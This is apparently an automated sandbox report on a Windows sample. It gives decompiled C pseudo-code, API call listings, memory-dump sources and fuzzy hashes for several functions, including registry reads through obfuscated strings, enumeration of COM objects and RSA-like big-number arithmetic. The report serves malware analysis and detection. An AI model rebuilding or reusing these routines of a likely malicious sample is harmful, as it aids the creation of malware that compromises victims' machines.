0x02f915b3
0x02f915bf
0x02f915c4
0x02f915c6
0x02f915c8
0x02f915ca
0x02f915cc
0x02f915ce
0x02f915da
0x02f915ea
0x00000000
0x02f915dc
0x02f915dc
0x02f915e3
0x02f915f0
0x02f915f0
0x02f915f0
0x02f915e3
0x02f915da
0x02f915f5
0x00000000
0x00000000
0x02f915fb

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,02F911DA,?,?,00000000,00000000), ref: 02F915BF
ResetEvent.KERNEL32(?), ref: 02F915C4
GetLastError.KERNEL32 ref: 02F915DC
GetLastError.KERNEL32(?,?,00000102,02F911DA,?,?,00000000,00000000), ref: 02F915F7

Part of subcall function 02F97F27: lstrlen.KERNEL32(00000000,00000008,?,74B04D40,?,?,02F915A4,?,?,?,?,00000102,02F911DA,?,?,00000000), ref: 02F97F33
Part of subcall function 02F97F27: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,02F915A4,?,?,?,?,00000102,02F911DA,?), ref: 02F97F91
Part of subcall function 02F97F27: lstrcpy.KERNEL32(00000000,00000000), ref: 02F97FA1

SetEvent.KERNEL32(?), ref: 02F915EA

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
String ID:
API String ID: 1449191863-0
Opcode ID: 599cdc026220c54e226c57c3d4e3c0fad923a2c0f77da6cc55b34f33e6916d01
Instruction ID: 63ec3b329c7add2aeff030e79a5e8da00d70fc599bffdab02a9f7b75a0a65311
Opcode Fuzzy Hash: 599cdc026220c54e226c57c3d4e3c0fad923a2c0f77da6cc55b34f33e6916d01
Instruction Fuzzy Hash: E701A2319402026BFF316B22DC44B1BB6A9FF447E4F114A35F25AD12F0DB20D814DA10

Uniqueness

Uniqueness Score: -1.00%

Function 02F98F10, Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02F98F10(intOrPtr _a4) {
				void* _t2;
				long _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t13;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x2f9d26c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t13 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x2f9d25c = _t4;
					_t6 = GetCurrentProcessId();
					 *0x2f9d258 = _t6;
					 *0x2f9d264 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x2f9d254 = _t7;
					if(_t7 == 0) {
						 *0x2f9d254 =  *0x2f9d254 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 > 0) {
					goto L5;
				}
				_t13 = _t4 - _t4;
				goto L4;
			}

0x02f98f18
0x02f98f20
0x02f98f25
0x00000000
0x02f98f7a
0x02f98f27
0x02f98f2f
0x02f98f37
0x02f98f37
0x02f98f77
0x00000000
0x02f98f77
0x02f98f39
0x02f98f39
0x02f98f3e
0x02f98f50
0x02f98f55
0x02f98f5b
0x02f98f63
0x02f98f68
0x02f98f6a
0x02f98f6a
0x00000000
0x02f98f71
0x02f98f33
0x00000000
0x00000000
0x02f98f35
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,02F96A90,?,?,00000001,?,?,?,02F9807D,?), ref: 02F98F18
GetVersion.KERNEL32(?,00000001,?,?,?,02F9807D,?), ref: 02F98F27
GetCurrentProcessId.KERNEL32(?,00000001,?,?,?,02F9807D,?), ref: 02F98F3E
OpenProcess.KERNEL32(0010047A,00000000,00000000,?,00000001,?,?,?,02F9807D,?), ref: 02F98F5B
GetLastError.KERNEL32(?,00000001,?,?,?,02F9807D,?), ref: 02F98F7A

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: ca08e3f66b68c5d26cb4a2c82770c9dab9c6f1a7c41f36578465e7a5de28a348
Instruction ID: eba0f1e98b352fcb5a1206e710c1b0283b5b738fda9ee04df91229699e35ef03
Opcode Fuzzy Hash: ca08e3f66b68c5d26cb4a2c82770c9dab9c6f1a7c41f36578465e7a5de28a348
Instruction Fuzzy Hash: ADF06271EC43099BFB209F24AD09B14BB62A74ABC4F505D1BE342C61D0D7718061CF24

Uniqueness

Uniqueness Score: -1.00%

Function 02F917D5, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E02F917D5(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t60;
				intOrPtr* _t61;
				intOrPtr _t65;
				char _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t78;
				void* _t88;
				void* _t97;
				void* _t98;
				char _t104;
				signed int* _t106;
				intOrPtr* _t107;
				void* _t108;

				_t98 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t104 = _a16;
				if(_t104 == 0) {
					__imp__( &_v284,  *0x2f9d33c);
					_t97 = 0x80000002;
					L6:
					_t60 = E02F9809F(0,  &_v284);
					_a8 = _t60;
					if(_t60 == 0) {
						_v8 = 8;
						L29:
						_t61 = _a20;
						if(_t61 != 0) {
							 *_t61 =  *_t61 + 1;
						}
						return _v8;
					}
					_t107 = _a24;
					if(E02F988B7(_t98, _t103, _t107, _t97, _t60) != 0) {
						L27:
						E02F99039(_a8);
						goto L29;
					}
					_t65 =  *0x2f9d27c; // 0xd0a5a8
					_t16 = _t65 + 0x2f9e8fe; // 0x65696c43
					_t68 = E02F9809F(0, _t16);
					_a24 = _t68;
					if(_t68 == 0) {
						L14:
						_t29 = _t107 + 0x14; // 0x102
						_t33 = _t107 + 0x10; // 0x3d02f9c0
						if(E02F9A635(_t103,  *_t33, _t97, _a8,  *0x2f9d334,  *((intOrPtr*)( *_t29 + 0x28))) == 0) {
							_t72 =  *0x2f9d27c; // 0xd0a5a8
							if(_t104 == 0) {
								_t35 = _t72 + 0x2f9ea5f; // 0x4d4c4b48
								_t73 = _t35;
							} else {
								_t34 = _t72 + 0x2f9e89f; // 0x55434b48
								_t73 = _t34;
							}
							if(E02F9816C(_t73,  *0x2f9d334,  *0x2f9d338,  &_a24,  &_a16) == 0) {
								if(_t104 == 0) {
									_t75 =  *0x2f9d27c; // 0xd0a5a8
									_t44 = _t75 + 0x2f9e871; // 0x74666f53
									_t78 = E02F9809F(0, _t44);
									_t105 = _t78;
									if(_t78 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t107 + 0x10; // 0x3d02f9c0
										E02F92659( *_t47, _t97, _a8,  *0x2f9d338, _a24);
										_t49 = _t107 + 0x10; // 0x3d02f9c0
										E02F92659( *_t49, _t97, _t105,  *0x2f9d330, _a16);
										E02F99039(_t105);
									}
								} else {
									_t40 = _t107 + 0x10; // 0x3d02f9c0
									E02F92659( *_t40, _t97, _a8,  *0x2f9d338, _a24);
									_t43 = _t107 + 0x10; // 0x3d02f9c0
									E02F92659( *_t43, _t97, _a8,  *0x2f9d330, _a16);
								}
								if( *_t107 != 0) {
									E02F99039(_a24);
								} else {
									 *_t107 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t107 + 0x10; // 0x3d02f9c0
					if(E02F96BFA( *_t21, _t97, _a8, _t68,  &_v16,  &_v12) == 0) {
						_t106 = _v16;
						_t88 = 0x28;
						if(_v12 == _t88) {
							 *_t106 =  *_t106 & 0x00000000;
							_t26 = _t107 + 0x10; // 0x3d02f9c0
							E02F9A635(_t103,  *_t26, _t97, _a8, _a24, _t106);
						}
						E02F99039(_t106);
						_t104 = _a16;
					}
					E02F99039(_a24);
					goto L14;
				}
				if(_t104 <= 8 || _t104 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t103 = _a8;
					E02F9A8D8(_t104, _a8,  &_v284);
					__imp__(_t108 + _t104 - 0x117,  *0x2f9d33c);
					 *((char*)(_t108 + _t104 - 0x118)) = 0x5c;
					_t97 = 0x80000003;
					goto L6;
				}
			}

0x02f917d5
0x02f917de
0x02f917e5
0x02f917ea
0x02f91857
0x02f9185d
0x02f91862
0x02f9186b
0x02f91872
0x02f91875
0x02f919e9
0x02f919f0
0x02f919f0
0x02f919f5
0x02f919f7
0x02f919f7
0x02f91a00
0x02f91a00
0x02f9187b
0x02f91887
0x02f919df
0x02f919e2
0x00000000
0x02f919e2
0x02f9188d
0x02f91892
0x02f9189b
0x02f918a2
0x02f918a5
0x02f918ef
0x02f918ef
0x02f91902
0x02f9190c
0x02f91914
0x02f91919
0x02f91923
0x02f91923
0x02f9191b
0x02f9191b
0x02f9191b
0x02f9191b
0x02f91945
0x02f9194d
0x02f9197b
0x02f91980
0x02f91989
0x02f9198e
0x02f91992
0x02f919c4
0x02f91994
0x02f919a1
0x02f919a4
0x02f919b4
0x02f919b7
0x02f919bd
0x02f919bd
0x02f9194f
0x02f9195c
0x02f9195f
0x02f91971
0x02f91974
0x02f91974
0x02f919ce
0x02f919da
0x02f919d0
0x02f919d3
0x02f919d3
0x02f919ce
0x02f91945
0x00000000
0x02f9190c
0x02f918b4
0x02f918be
0x02f918c0
0x02f918c5
0x02f918c9
0x02f918cb
0x02f918d6
0x02f918d9
0x02f918d9
0x02f918df
0x02f918e4
0x02f918e4
0x02f918ea
0x00000000
0x02f918ea
0x02f917ef
0x00000000
0x02f91816
0x02f91816
0x02f91822
0x02f91835
0x02f9183b
0x02f91843
0x00000000
0x02f91843

APIs

StrChrA.SHLWAPI(02F93C81,0000005F,00000000,00000000,00000104), ref: 02F91808
lstrcpy.KERNEL32(?,?), ref: 02F91835

Part of subcall function 02F9809F: lstrlen.KERNEL32(?,00000000,02F9D330,00000001,02F92200,02F9D00C,02F9D00C,00000000,00000005,00000000,00000000,?,?,?,02F996C1,02F923E9), ref: 02F980A8
Part of subcall function 02F9809F: mbstowcs.NTDLL ref: 02F980CF
Part of subcall function 02F9809F: memset.NTDLL ref: 02F980E1

Part of subcall function 02F92659: lstrlenW.KERNEL32(02F93C81,?,?,02F919A9,3D02F9C0,80000002,02F93C81,02F98B1E,74666F53,4D4C4B48,02F98B1E,?,3D02F9C0,80000002,02F93C81,?), ref: 02F92679

Part of subcall function 02F99039: HeapFree.KERNEL32(00000000,00000000,02F97F18,00000000,?,?,00000000), ref: 02F99045

lstrcpy.KERNEL32(?,00000000), ref: 02F91857

Strings

\, xrefs: 02F9183B

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
String ID: \
API String ID: 3924217599-2967466578
Opcode ID: 614df736b81826ced845313d71576532837f500ff02004fc959097a3584f7e22
Instruction ID: c983555429491e74885d5f20cb5738a8b1481a1d7381c510682e1bec6699ba79
Opcode Fuzzy Hash: 614df736b81826ced845313d71576532837f500ff02004fc959097a3584f7e22
Instruction Fuzzy Hash: 1151297690020EBFEF11AFA1DD44EAB77BAAB093C4F108929FB1992160D731D925DF50

Uniqueness

Uniqueness Score: -1.00%

Function 02F952F9, Relevance: 6.2, APIs: 4, Instructions: 152
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E02F952F9(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr _t78;
				intOrPtr* _t82;
				intOrPtr* _t86;
				intOrPtr _t102;
				intOrPtr _t108;
				void* _t117;
				void* _t121;
				void* _t122;
				intOrPtr _t129;

				_t122 = _t121 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t117 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t117 >= 0) {
					_t54 = _v8;
					_t102 =  *0x2f9d27c; // 0xd0a5a8
					_t5 = _t102 + 0x2f9e038; // 0x3050f485
					_t117 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t117 >= 0) {
						__imp__#2(0x2f9c2b0);
						_v28 = _t57;
						if(_t57 == 0) {
							_t117 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t86 = __imp__#6;
							_t117 = _t61;
							if(_t117 >= 0) {
								_t63 = _v24;
								_t117 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t117 >= 0) {
									_t129 = _v20;
									if(_t129 != 0) {
										_v64 = 3;
										_v48 = 3;
										_v56 = 0;
										_v40 = 0;
										if(_t129 > 0) {
											while(1) {
												_t67 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t122 = _t122;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t117 =  *((intOrPtr*)( *_t67 + 0x2c))(_t67,  &_v8);
												if(_t117 < 0) {
													goto L16;
												}
												_t69 = _v8;
												_t108 =  *0x2f9d27c; // 0xd0a5a8
												_t28 = _t108 + 0x2f9e0bc; // 0x3050f1ff
												_t117 =  *((intOrPtr*)( *_t69))(_t69, _t28,  &_v16);
												if(_t117 >= 0) {
													_t74 = _v16;
													_t117 =  *((intOrPtr*)( *_t74 + 0x34))(_t74,  &_v12);
													if(_t117 >= 0 && _v12 != 0) {
														_t78 =  *0x2f9d27c; // 0xd0a5a8
														_t33 = _t78 + 0x2f9e078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t82 = _v16;
															 *((intOrPtr*)( *_t82 + 0x114))(_t82);
														}
														 *_t86(_v12);
													}
													_t76 = _v16;
													 *((intOrPtr*)( *_t76 + 8))(_t76);
												}
												_t71 = _v8;
												 *((intOrPtr*)( *_t71 + 8))(_t71);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t86(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t117;
			}

0x02f952fe
0x02f95307
0x02f95308
0x02f9530c
0x02f95312
0x02f95318
0x02f95321
0x02f95327
0x02f95331
0x02f95333
0x02f95339
0x02f9533e
0x02f95349
0x02f95351
0x02f95354
0x02f95477
0x02f9535a
0x02f9535a
0x02f95367
0x02f9536d
0x02f95373
0x02f95377
0x02f9537d
0x02f9538a
0x02f9538e
0x02f95394
0x02f95397
0x02f9539d
0x02f953a3
0x02f953a9
0x02f953ac
0x02f953af
0x02f953b5
0x02f953be
0x02f953c4
0x02f953c5
0x02f953c8
0x02f953c9
0x02f953ca
0x02f953d2
0x02f953d3
0x02f953d4
0x02f953d6
0x02f953da
0x02f953de
0x00000000
0x00000000
0x02f953e4
0x02f953ed
0x02f953f3
0x02f953fd
0x02f95401
0x02f95403
0x02f95410
0x02f95414
0x02f9541c
0x02f95421
0x02f95433
0x02f95435
0x02f9543b
0x02f9543b
0x02f95444
0x02f95444
0x02f95446
0x02f9544c
0x02f9544c
0x02f9544f
0x02f95455
0x02f95458
0x02f95461
0x00000000
0x00000000
0x00000000
0x02f95461
0x02f953b5
0x02f953af
0x02f95397
0x02f95467
0x02f95467
0x02f9546d
0x02f9546d
0x02f95473
0x02f95473
0x02f9547c
0x02f95482
0x02f95482
0x02f9533e
0x02f9548b

APIs

SysAllocString.OLEAUT32(02F9C2B0), ref: 02F95349
lstrcmpW.KERNEL32(00000000,0076006F), ref: 02F9542B
SysFreeString.OLEAUT32(00000000), ref: 02F95444
SysFreeString.OLEAUT32(?), ref: 02F95473

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: 6374adf3727b278898519961533998bf3df4de351637a567f5e4d549a13bde7e
Instruction ID: 1e6ca85e1d1fdcea9f6060435e997f476a42e3dfb8a2002d47fde27a6271fcaa
Opcode Fuzzy Hash: 6374adf3727b278898519961533998bf3df4de351637a567f5e4d549a13bde7e
Instruction Fuzzy Hash: EE517E71D00109EFDF01DFA8C9889AEF7BAEF89745B144584EA05EB210D731AD01CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02F91017, Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E02F91017(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v92;
				void _v236;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E02F9A7AA(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E02F9968F(_t79,  &_v236);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0xe8)) = E02F98967(_t101,  &_v236, _a8, _t96 - _t81);
					E02F98967(_t79,  &_v92, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x5c));
					_t66 = E02F9968F(_t101, 0x2f9d1b0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E02F9968F(_a16, _a4);
						E02F91D6C(_t79,  &_v236, _a4, _t97);
						memset( &_v236, 0, 0x8c);
						_t55 = memset( &_v92, 0, 0x44);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0xe8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L02F9B0C8();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L02F9B0C2();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0xe8;
						_a12 = _t74;
						_t76 = E02F91FB1(_t79,  &_v92, _t92, _t107 + _a8 * 4 - 0xe8, _t107 + _a8 * 4 - 0xe8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v92;
							if(E02F98B62(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E02F99100(_t79,  &_v92, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x2f9d1b0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x02f9101a
0x02f91026
0x02f9102c
0x02f91031
0x02f91035
0x02f91192
0x02f91196
0x02f91196
0x02f9103b
0x02f9103f
0x02f91045
0x02f91046
0x02f91051
0x02f91057
0x02f9105c
0x02f9105f
0x02f91079
0x02f91085
0x02f9108e
0x02f91098
0x02f9109d
0x02f9109f
0x02f910a2
0x02f91150
0x02f91156
0x02f91167
0x02f9117a
0x02f9118a
0x00000000
0x02f9118f
0x02f910ab
0x02f910b2
0x02f910b6
0x02f910bc
0x02f910be
0x02f910c0
0x02f910c2
0x02f910c4
0x02f910ce
0x02f910d3
0x02f910d5
0x02f910d7
0x02f910d8
0x02f910d9
0x02f910da
0x02f910e1
0x02f910e8
0x02f910eb
0x02f910eb
0x02f910b8
0x02f910b8
0x02f910b8
0x02f910f3
0x02f910fb
0x02f91104
0x02f91109
0x02f91109
0x02f9110e
0x00000000
0x00000000
0x02f91110
0x02f91113
0x02f9111d
0x00000000
0x00000000
0x02f9111f
0x02f9111f
0x02f91129
0x02f91109
0x02f9110e
0x00000000
0x00000000
0x00000000
0x02f9110e
0x02f91133
0x02f91136
0x02f91139
0x02f91140
0x02f91140
0x02f9114d
0x00000000
0x02f9114d
0x02f91048
0x02f9104c
0x02f9104d
0x02f9104f
0x00000000
0x00000000
0x00000000
0x02f9104f
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 02F910C4
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 02F910DA
memset.NTDLL ref: 02F9117A
memset.NTDLL ref: 02F9118A

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: 525008a217d961cd222467a00e25274daa9dec5184e190afb970de5d3833c119
Instruction ID: 35c71e631f845620da1a94be6de534aaf72e65c977ac48e90e540dcc496376b0
Opcode Fuzzy Hash: 525008a217d961cd222467a00e25274daa9dec5184e190afb970de5d3833c119
Instruction Fuzzy Hash: 8941B171A0024AABFF10DFA8DC44BEF7779EF44790F108539EA1AA7190DB71A9448F80

Uniqueness

Uniqueness Score: -1.00%

Function 02F9A9AB, Relevance: 6.1, APIs: 4, Instructions: 126stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000008,74B04D40), ref: 02F9A9BD

Part of subcall function 02F92049: RtlAllocateHeap.NTDLL(00000000,00000000,02F97E50), ref: 02F92055

ResetEvent.KERNEL32(?), ref: 02F9AA31
GetLastError.KERNEL32 ref: 02F9AA54
GetLastError.KERNEL32 ref: 02F9AAFF

Part of subcall function 02F99039: HeapFree.KERNEL32(00000000,00000000,02F97F18,00000000,?,?,00000000), ref: 02F99045

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
String ID:
API String ID: 943265810-0
Opcode ID: b5a1545aa241ab50631ea4a1d0cdb5984260ebb7ba7e2c520a14285794170a7a
Instruction ID: b0d0a8ccccb023b8dfb17f9172ff451eecea0d3f3d8e9bd9dfeb7d065aae5962
Opcode Fuzzy Hash: b5a1545aa241ab50631ea4a1d0cdb5984260ebb7ba7e2c520a14285794170a7a
Instruction Fuzzy Hash: DB415172940208BFFB319F66DD49E6BBBBDEB89784F104919F252D10A0E7719994CB20

Uniqueness

Uniqueness Score: -1.00%

Function 02F939BF, Relevance: 6.1, APIs: 4, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E02F939BF(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				intOrPtr _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				_push( &_v8);
				_push(4);
				_push( &_v20);
				_push( *((intOrPtr*)(_t59 + 0x18)));
				if( *0x2f9d134() != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0x2f9d168(0, 1,  &_v12);
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E02F92049(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
						ResetEvent( *(_t59 + 0x1c));
						_push( &_v8);
						_push(0x1000);
						_push(_v16);
						_push( *((intOrPtr*)(_t59 + 0x18)));
						if( *0x2f9d134() != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E02F99039(_v16);
							if(_t58 == 0) {
								_t58 = E02F97A07(_v12, _t59);
							}
							goto L18;
						}
						_t58 = E02F91C47( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E02F91C47( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}

0x02f939bf
0x02f939ce
0x02f939d3
0x02f939d5
0x02f939da
0x02f939db
0x02f939e0
0x02f939e1
0x02f939ec
0x02f93a1d
0x02f93a22
0x02f93ae5
0x02f93ae8
0x02f93aee
0x02f93aee
0x02f93a2f
0x02f93a37
0x02f93ae2
0x00000000
0x02f93ae2
0x02f93a42
0x02f93a49
0x02f93a4c
0x02f93ad4
0x02f93ad5
0x02f93ad5
0x02f93adb
0x00000000
0x02f93adb
0x02f93a52
0x02f93a54
0x02f93a5a
0x02f93a5b
0x02f93a5b
0x02f93a5e
0x02f93a61
0x02f93a67
0x02f93a6c
0x02f93a6d
0x02f93a72
0x02f93a75
0x02f93a80
0x00000000
0x00000000
0x02f93a88
0x02f93a90
0x02f93ab9
0x02f93abc
0x02f93ac3
0x02f93ace
0x02f93ace
0x00000000
0x02f93ac3
0x02f93a9c
0x02f93aa0
0x00000000
0x00000000
0x02f93aa2
0x02f93aa7
0x00000000
0x00000000
0x02f93aa9
0x02f93aa9
0x02f93aae
0x00000000
0x00000000
0x02f93ab0
0x02f93ab1
0x02f93ab4
0x02f93ab4
0x02f93a5b
0x02f939f4
0x02f939fc
0x02f93a15
0x02f93a17
0x00000000
0x00000000
0x00000000
0x02f93a17
0x02f93a08
0x02f93a0c
0x00000000
0x00000000
0x02f93a12
0x00000000

APIs

ResetEvent.KERNEL32(?), ref: 02F939D5
GetLastError.KERNEL32 ref: 02F939EE

Part of subcall function 02F91C47: WaitForMultipleObjects.KERNEL32(00000002,02F9AA72,00000000,02F9AA72,?,?,?,02F9AA72,0000EA60), ref: 02F91C62

ResetEvent.KERNEL32(?), ref: 02F93A67
GetLastError.KERNEL32 ref: 02F93A82

Memory Dump Source

